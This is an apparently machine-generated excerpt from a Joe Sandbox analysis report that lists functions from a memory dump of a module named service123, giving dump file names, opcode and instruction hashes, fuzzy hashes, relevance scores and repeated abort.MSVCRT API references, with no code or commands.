Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d053383b2ea5da728264245fa801d02be582b557e56e6c90a4d27fdcbe8c0c4d
Instruction ID: e3bfd5845e836f737f9fe051ea6d2ae0509e1f3465d9e8bd044699a905b25fe8
Opcode Fuzzy Hash: d053383b2ea5da728264245fa801d02be582b557e56e6c90a4d27fdcbe8c0c4d
Instruction Fuzzy Hash: B2012D72A08145CF9710EFBDCA8441AB7F1AB4E318B04DA79E448C3B05E631D504CBA6

Function 6C8484A0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2c57ecb608db6015b051936c4100b50750c1bb6d71cf6ae7145fb4f5cc3f5a4
Instruction ID: 42f17215a739d8faa0f52d6a1268041d5ee6543f31a5c3760f52440c846e0583
Opcode Fuzzy Hash: f2c57ecb608db6015b051936c4100b50750c1bb6d71cf6ae7145fb4f5cc3f5a4
Instruction Fuzzy Hash: 8E014F75A082808FC311DF7D858552BBBF06F5A308F45D95EE888C7315E235C515CBA7

Function 6C7CD504 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38065637cddd05bc63f8f55e83b5f6858d4a716cd9787bd456eb58d9b090392b
Instruction ID: 58888dd7c4c5847f1b246947bf47c8d77c60ef5f637d9bb8c46af4d636bde0c5
Opcode Fuzzy Hash: 38065637cddd05bc63f8f55e83b5f6858d4a716cd9787bd456eb58d9b090392b
Instruction Fuzzy Hash: 260188B1B052019FEB08AF69D98476AFBE4EF85348F50896DD848CB601D331C886CBD6

Function 6C874360 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9a5173fa4cbcdfad5f4a94d5865971084ef7afb87a2207598463ca1b076a247
Instruction ID: d32246a587ca660506b379bf64f0c7c7e0c395ece4ed31fd5fbdf5414da38251
Opcode Fuzzy Hash: a9a5173fa4cbcdfad5f4a94d5865971084ef7afb87a2207598463ca1b076a247
Instruction Fuzzy Hash: 71F0F936A04140CF8720EFBC864996AB7F0A78621CF889D69E808C7B01F234D5148FB7

Function 6C7FA1E0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5582d137e871d0ff94be0ad71c1fa2a6548a381b8a2a2b287df0462e9aba7b8b
Instruction ID: 6b20dff6644c2343ddc171faa9e02c48298633c72f4b7e3c5359b48ff1161776
Opcode Fuzzy Hash: 5582d137e871d0ff94be0ad71c1fa2a6548a381b8a2a2b287df0462e9aba7b8b
Instruction Fuzzy Hash: 2CD01771E000009F8B00EF28C688826B7B0AB86318B54DAA8E41897705E236E906CB9A

Function 6C7CD974 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99528a8814be3e8ec686a86f925677d1370c2879c6c577cffe59eab6e90d6a45
Instruction ID: 08556d1a91ac7d4d7fd80e2a89b02895c69c715c186b0a177f7055f5026cc8ca
Opcode Fuzzy Hash: 99528a8814be3e8ec686a86f925677d1370c2879c6c577cffe59eab6e90d6a45
Instruction Fuzzy Hash: 42C0C9B19041009ACF10EF688284078F6E1AB42648F525868C08497600EB71C846978A

Function 6C7CD674 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d714ddeb1d54d60c99730855744db3a24bee261a28e7de1cd23f2af7a586b1f
Instruction ID: 1780c5278f3e4cfed3078f1806a4f869435947e0b135d9e24c392db058220d30
Opcode Fuzzy Hash: 8d714ddeb1d54d60c99730855744db3a24bee261a28e7de1cd23f2af7a586b1f
Instruction Fuzzy Hash: EEC0C9719041009ACF50EF688184078B3E1AB52288F525868C084A7600EB30D846D74A

Function 6C7CD7F4 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6687b09114d2675d96a31c0c6d2971c8d0cefab2a3ab88b4dde04cb7df0e6767
Instruction ID: 9d214d6784fa9b4bc7f286966bf09958d3a0fa4022dd951ad8a84e1178089dfb
Opcode Fuzzy Hash: 6687b09114d2675d96a31c0c6d2971c8d0cefab2a3ab88b4dde04cb7df0e6767
Instruction Fuzzy Hash: C0C0C9719441049ACF10EF68C1C4578B2E0AB42344F521868C084D7600EB30D846D74A

Function 6C7BB1D0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction ID: 890a42886e01477c005c208ad1c6d33d78cb9058372ee88534386dd002b61e1a
Opcode Fuzzy Hash: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction Fuzzy Hash: 3EC012B0C052408AC220BF38860A22CFAB07B52208F882CACD48013701E735C41C866B

Function 6C7ABAD0 Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 339COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Strings

@, xrefs: 6C7ABAB1

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID: @
API String ID: 4206212132-2766056989
Opcode ID: a6f402bd11b4632e78090624f0bda1164632f4d6ab0f16587c4220ef3507b17d
Instruction ID: 9ccfcbe0d0665d0de5f5fab201044fcb27fca776651e1fb99e615b3102f0bebb
Opcode Fuzzy Hash: a6f402bd11b4632e78090624f0bda1164632f4d6ab0f16587c4220ef3507b17d
Instruction Fuzzy Hash: C0B1593260931E8FC3208EACC690799BBE2AB85314F494B7DD89497B95D335FD0AC781

Function 6C7A2290 Relevance: 42.4, APIs: 28, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f33b2d3790d994e871fbcd2fe520e51bb985cae6de616af7f7d5f4c4a1e4faf
Instruction ID: 94cbe74bbf6b0a565f3a3f6778aaf99a435178ceaf65a037c2ac19d2be064e28
Opcode Fuzzy Hash: 7f33b2d3790d994e871fbcd2fe520e51bb985cae6de616af7f7d5f4c4a1e4faf
Instruction Fuzzy Hash: 43C1CE716042018FD744CF6AC58835AB7E2BB86308F158A79D89CCFB55E739E90BCB90

Function 6C7AB7A0 Relevance: 42.2, APIs: 28, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e97f16a0a79c8bb6055e950417d9bd4eb25bf54f07232e04ade4362bbb30eb1
Instruction ID: bac09a3971d4cb5f90c2163eb681022adaddcab85c0d6c5e6e6291918e8b1a37
Opcode Fuzzy Hash: 0e97f16a0a79c8bb6055e950417d9bd4eb25bf54f07232e04ade4362bbb30eb1
Instruction Fuzzy Hash: 0941E7716093499FD725CFB9C1807167BE0BF86328F188AAED9954BB42D372F846C781

Function 6C7A28FA Relevance: 42.1, APIs: 28, Instructions: 84COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 09d39012df09a6002fd2d447e5750637db33567b55ac98e668c4858f8b69f586
Instruction ID: 9599418ebaa456c62fb496bfa09a94247f0c187d744777d35ac5122d840144b5
Opcode Fuzzy Hash: 09d39012df09a6002fd2d447e5750637db33567b55ac98e668c4858f8b69f586
Instruction Fuzzy Hash: 7C11C2B2602201CFE718EF1CE996B5977B0FB62309F019B58D194D7A11D738E818CBA0

Function 6C7A2A2F Relevance: 42.1, APIs: 28, Instructions: 82COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 49f78b9bea012804e0ed426d413bf543c409333afb930e46d84ddd657b3d2335
Instruction ID: f9dc35b2cff0ade65fbbb42745a01700375de3d53f9e391b59522185e78abc50
Opcode Fuzzy Hash: 49f78b9bea012804e0ed426d413bf543c409333afb930e46d84ddd657b3d2335
Instruction Fuzzy Hash: 2611A572602201CFE718EF1CD596F5977B0FB62309F019B58D594D7A11D739E818CBA1

Function 6C7A29F0 Relevance: 42.1, APIs: 28, Instructions: 78COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
